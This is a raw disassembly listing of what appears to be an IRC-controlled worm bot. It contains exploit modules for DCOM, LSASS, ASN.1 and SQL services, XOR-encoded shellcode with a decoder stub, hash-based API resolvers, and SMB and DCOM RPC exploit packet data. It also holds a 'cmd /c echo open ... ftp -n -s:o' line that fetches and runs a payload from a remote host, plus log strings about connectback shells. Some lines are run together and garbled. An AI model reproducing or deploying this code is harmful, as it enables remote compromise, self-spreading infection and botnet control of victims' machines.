aSI_1		db '%s%i',0             ; DATA XREF: .XComp0:0040CBD6o
		align 4
aS_32		db '%s|',0              ; DATA XREF: .XComp0:0040CC19o
aSI_2		db '%s%i',0             ; DATA XREF: .XComp0:0040CC52o
		align 10h
a95		db '95',0               ; DATA XREF: .XComp0:0040CCBAo
		align 4
aNt		db 'NT',0               ; DATA XREF: .XComp0:0040CCCAo
		align 4
a98		db '98',0               ; DATA XREF: .XComp0:0040CCE8o
		align 4
aMe_0		db 'ME',0               ; DATA XREF: .XComp0:0040CD03o
		align 10h
a2k		db '2K',0               ; DATA XREF: .XComp0:0040CD1Eo
		align 4
aXp_1		db 'XP',0               ; DATA XREF: .XComp0:0040CD39o
		align 4
a2k3		db '2K3',0              ; DATA XREF: .XComp0:0040CD54o
a???_0		db '???',0              ; DATA XREF: .XComp0:loc_40CD5Do
aS_33		db '[%s]|',0            ; DATA XREF: .XComp0:0040CD67o
		align 4
aSI_3		db '%s%i',0             ; DATA XREF: .XComp0:0040CDA0o
		align 10h
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40CDB9+20o
		align 4
off_448E58	dd offset loc_5D4D5B	; DATA XREF: sub_40CDB9+2Fo
dword_448E5C	dd 5D64255Bh, 7325haMirc_1		db 'mIRC',0             ; DATA XREF: sub_40CDB9+5Co
		align 4
off_448E6C	dd offset loc_5D4D5B	; DATA XREF: sub_40CDB9+6Bo
; ---------------------------------------------------------------------------


loc_448E70:				; DATA XREF: sub_40D17A+162o
		jmp	short loc_448E74
; ---------------------------------------------------------------------------


loc_448E72:				; CODE XREF: .XComp0:loc_448E74p
		jmp	short loc_448E79
; ---------------------------------------------------------------------------


loc_448E74:				; CODE XREF: .XComp0:loc_448E70j
		call	loc_448E72


loc_448E79:				; CODE XREF: .XComp0:loc_448E72j
		pop	ebx
		xor	ecx, ecx


loc_448E7C:				; DATA XREF: sub_40D17A:loc_40D2C1o
		mov	cx, 0FFFFh
; ---------------------------------------------------------------------------
		db 80h,	73h, 0Eh
byte_448E83	db 0FFh			; DATA XREF: sub_40D17A+15Bw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_448E88:				; DATA XREF: sub_40D17A+12Eo
		jmp	short loc_448E8C
; ---------------------------------------------------------------------------


loc_448E8A:				; CODE XREF: .XComp0:loc_448E8Cp
		jmp	short loc_448E91
; ---------------------------------------------------------------------------


loc_448E8C:				; CODE XREF: .XComp0:loc_448E88j
		call	loc_448E8A


loc_448E91:				; CODE XREF: .XComp0:loc_448E8Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_448E95	db 0FFh			; DATA XREF: sub_40D17A+11Fw
		dw 7380h
		db 0Ch
byte_448E99	db 0FFh			; DATA XREF: sub_40D17A+127w
		dw 0E243h
		dd 0F9h
dword_448EA0	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40CF37+8Do
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_448F04	dd 12h,	70746674h, 6578652Eh, 20692D20h; ---------------------------------------------------------------------------


loc_448F14:				; DATA XREF: sub_40CF37+CAo
		and	[edi+65h], ah
		jz	short loc_448F39


loc_448F19:				; DATA XREF: sub_40CF37+107o
		add	[edx+0], ch


loc_448F1C:				; DATA XREF: sub_40CF37+63o
		call	sub_448F38
		jnz	short loc_448F24
		retn
; ---------------------------------------------------------------------------


loc_448F24:				; CODE XREF: .XComp0:00448F21j
					; .XComp0:loc_448F31j
					; DATA XREF: ...
		call	near ptr loc_448F29+1


loc_448F29:				; CODE XREF: .XComp0:loc_448F24p
					; DATA XREF: sub_40CF37+144o
		add	[edx+0], ch
		call	sub_448F38


loc_448F31:				; DATA XREF: sub_40CF37+75o
		jz	loc_448F24
		retn

; =============== S U B	R O U T	I N E =======================================



sub_448F38	proc near		; CODE XREF: .XComp0:loc_448F1Cp
					; .XComp0:00448F2Cp
		pop	eax


loc_448F39:				; CODE XREF: .XComp0:00448F17j
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_448F38	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h, 202E6425h
		dd 7325h
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40D75C+47o
		align 4
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40D75C+63o
		align 10h
aDcom2135	db 'dcom2-135',0        ; DATA XREF: sub_4021E5+3CADo
					; sub_4021E5+81D0o ...
aDcom2135_0	db 'Dcom2-135',0        ; DATA XREF: sub_40DC2A+90o
					; sub_40DE28+60o ...
		dd 5 dup(0)
dword_448FE8	dd 87h							; sub_4021E5+3CC7r ...
off_448FEC	dd offset sub_41104D	; DATA XREF: sub_40DF24+1E4r
					; .XComp0:0040EF3Er
dword_448FF0	dd 0							; sub_40DC2A+6Cr ...
		dd 1
dword_448FF8	dd 0		dword_448FFC	dd 0				dd 6D6F6364h, 34342D32h, 63440035h, 2D326D6Fh, 353434h
		dd 5 dup(0)
		dd 1BDh, 41104Dh, 0
		dd 1, 2	dup(0)
		dd 2D6C7173h, 33333431h, 71730000h, 34312D6Ch, 3333h, 5	dup(0)
		dd 599h, 411ED3h, 0
		dd 1, 2	dup(0)
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 4104C7h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	4104C7h, 0
		dd 2 dup(1), 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 411C70h, 0
		dd 2 dup(1), 0
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 412F34h, 5 dup(0)
		dd 10100h, 0Eh dup(0)
dword_4491C0	dd 2D6C7173h, 33333431h		db 2 dup(0)
byte_4491CA	db 1			; DATA XREF: sub_4021E5+3B1Ar
					; sub_4021E5+3B46r
aAsn445_0	db 'asn445',0
		align 4
		dd 736C0000h, 5F737361h, 353434h, 636E7600h, 6F747561h
		dd 1000000h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_44920A

; =============== S U B	R O U T	I N E =======================================



sub_4491FA	proc near		; CODE XREF: sub_4491FA:loc_44920Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_449202:				; CODE XREF: sub_4491FA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_449202
		jmp	short loc_44920F
; ---------------------------------------------------------------------------


loc_44920A:				; CODE XREF: .XComp0:004491F8j
		call	sub_4491FA


loc_44920F:				; CODE XREF: sub_4491FA+Ej
		jo	short near ptr dword_449184+26h
		cwde
		cdq
		cdq
		retn
sub_4491FA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
unk_449378	db  2Dh	; -		; DATA XREF: sub_40DC2A+10o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
dword_449398	dd 25370320h, 203A0373h, 2C6425haTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40DC2A+DDo
		align 4
unk_4493B8	db  2Dh	; -		; DATA XREF: sub_40DD5F+33o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_449400	db  2Dh	; -		; DATA XREF: sub_40DDCF+1Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
dword_44942C	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40DE28+Do
		dd 7473694Ch, 3Ah
dword_449448	dd 25370320h, 28200373h, 73253403h, 2C2903haScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40DE28+A4o
unk_449468	db  2Dh	; -		; DATA XREF: sub_40DF24+C9o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_449498	db  2Dh	; -		; DATA XREF: sub_40DF24+20Fo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4494CC	db  2Dh	; -		; DATA XREF: sub_40E192+32o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
dword_4494E8	dd 234032Dh, 6E616373h,	202D0302h, 6E616353h, 746F6E20h
					; DATA XREF: sub_40E192:loc_40E1DAo
		dd 74636120h, 2E657669h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_44953C	db  2Dh	; -		; DATA XREF: .XComp0:0040E37Fo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_19	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_449570	db  2Dh	; -		; DATA XREF: .XComp0:0040E442o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_2	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_4495A4	db  2Dh	; -		; DATA XREF: .XComp0:0040E4CDo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_20	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4495D8	db  2Dh	; -		; DATA XREF: .XComp0:0040E588o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_3	db '- Server started on Port: %d.',0
		align 4
unk_449608	db  2Dh	; -		; DATA XREF: .XComp0:0040E613o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_21	db '- Failed to start server, error: <%d>.',0
unk_449640	db  2Dh	; -		; DATA XREF: .XComp0:0040E6ECo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_44967C	db  2Dh	; -		; DATA XREF: .XComp0:0040E777o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_22	db ' Failed to start server, error: <%d>.',0
		align 10h
aD_D_D_D_0	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40E7FB+3Bo
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: .XComp0:0040EB71o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0
					; DATA XREF: .XComp0:0040EBC3o
aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: .XComp0:0040EC4Bo
		align 4
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: .XComp0:0040EC80o
		align 4
aSocketClosed_	db 'Socket closed.',0   ; DATA XREF: .XComp0:loc_40EC90o
		align 4
unk_449734	db  2Dh	; -		; DATA XREF: .XComp0:0040ED8Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
dword_44976C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 202C7325h
					; DATA XREF: .XComp0:0040EE00o
		dd 74726F50h, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
dword_449874	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40F238+CCo
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40F9E5+CAo
		align 4
dword_449928	dd 10FF8h, 0	dword_449930	dd 10FF8h	dword_449934	dd 7FFDF020h, 0	dword_44993C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4499C4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4499F4	dd 0				dd 800000D4h, 0
unk_449A00	db  81h	; 		; DATA XREF: sub_410120+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_449A4C	db 41h			; DATA XREF: sub_4101EB+140r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_449A90	proc near		; DATA XREF: .XComp0:0041055Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_449B8C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_449BA2
		mov	[esi+8], eax
		call	sub_449B55
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_449BA2
		mov	[esi+0Ch], eax
		call	sub_449B07
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_449BA2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_449A90	endp


; =============== S U B	R O U T	I N E =======================================



sub_449B07	proc near		; CODE XREF: sub_449A90+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_449B30
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_449B07	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_449B30	proc near		; CODE XREF: sub_449B07+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_449B3F:				; CODE XREF: sub_449B30+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_449B4C
		inc	ebx
		jmp	short loc_449B3F
; ---------------------------------------------------------------------------


loc_449B4C:				; CODE XREF: sub_449B30+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_449B30	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_449B55	proc near		; CODE XREF: sub_449A90+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_449B6D:				; CODE XREF: sub_449B55+1Ej
		cmp	[ecx], ebx
		jz	short loc_449B75
		mov	ecx, [ecx]
		jmp	short loc_449B6D
; ---------------------------------------------------------------------------


loc_449B75:				; CODE XREF: sub_449B55+1Aj
		mov	edx, edi


loc_449B77:				; CODE XREF: sub_449B55+2Aj
		cmp	[edx+4], ebx
		jz	short loc_449B81
		mov	edx, [edx+4]
		jmp	short loc_449B77
; ---------------------------------------------------------------------------


loc_449B81:				; CODE XREF: sub_449B55+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_449B55	endp


; =============== S U B	R O U T	I N E =======================================



sub_449B8C	proc near		; CODE XREF: sub_449A90+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_449B8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_449BA2	proc near		; CODE XREF: sub_449A90+16p
					; sub_449A90+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_449BB8:				; CODE XREF: sub_449BA2+33j
		jecxz	short loc_449BF2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_449BC5:				; CODE XREF: sub_449BA2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_449BD1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_449BC5
; ---------------------------------------------------------------------------


loc_449BD1:				; CODE XREF: sub_449BA2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_449BB8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_449BF2:				; CODE XREF: sub_449BA2:loc_449BB8j
					; sub_449BA2:loc_449BF2j
		jmp	short loc_449BF2
sub_449BA2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_449BF8	proc near		; DATA XREF: .XComp0:004104EFo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_449C4A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_449C15:				; CODE XREF: sub_449BF8+38j
		jecxz	short loc_449C45
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_449C20:				; CODE XREF: sub_449BF8+32j
		lodsb
		test	al, al
		jz	short loc_449C2C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_449C20
; ---------------------------------------------------------------------------


loc_449C2C:				; CODE XREF: sub_449BF8+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_449C15
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_449C45:				; CODE XREF: sub_449BF8:loc_449C15j
		mov	[esp+arg_0], ebx
		retn
sub_449BF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_449C4A	proc near		; CODE XREF: sub_449BF8+7p

; FUNCTION CHUNK AT 00449C82 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_449C63
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_449C6E
; ---------------------------------------------------------------------------


loc_449C63:				; CODE XREF: sub_449C4A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_449C6E:				; CODE XREF: sub_449C4A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_449C82
sub_449C4A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_449C75	proc near		; CODE XREF: sub_449C4A:loc_449C82p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_449C75	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449C4A


loc_449C82:				; CODE XREF: sub_449C4A+29j
		call	sub_449C75


loc_449C87:				; DATA XREF: sub_40F969+29o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_449C4A
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_449C8C:				; DATA XREF: sub_40F9E5+105o
		jmp	short near ptr dword_449C94
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_449C94	dd 0		aCccc		db 'CCCC',0             ; DATA XREF: sub_40F9E5+181o
		align 10h
dword_449CA0	dd 3		dword_449CA4	dd 0A1h		dword_449CA8	dd 30h		dword_449CAC	dd 62B0606h, 2050501h, 0A0hdword_449CB8	dd 60h		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .XComp0:0041051Fo
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
aS_19:					; DATA XREF: sub_41104D+F3o
		unicode	0, <è>,0
		dd 31665800h, 388140C0h, 6D6F6364h, 7881F775h, 30786804h
		dd 5EE7572h, 8,	9090E0FFh, 3Fh dup(90909090h), 9090h
dword_449E44	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
		dd offset nullsub_1
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 8
